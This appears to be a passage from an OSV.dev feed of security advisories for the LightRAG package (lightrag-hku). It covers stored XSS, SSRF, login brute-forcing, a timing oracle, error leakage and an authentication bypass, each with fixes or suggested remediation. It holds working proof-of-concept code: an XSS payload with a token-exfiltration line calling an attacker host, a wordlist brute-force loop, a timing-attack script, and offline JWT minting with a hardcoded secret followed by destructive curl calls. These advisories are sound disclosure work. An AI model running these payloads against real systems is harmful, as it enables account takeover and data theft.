Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

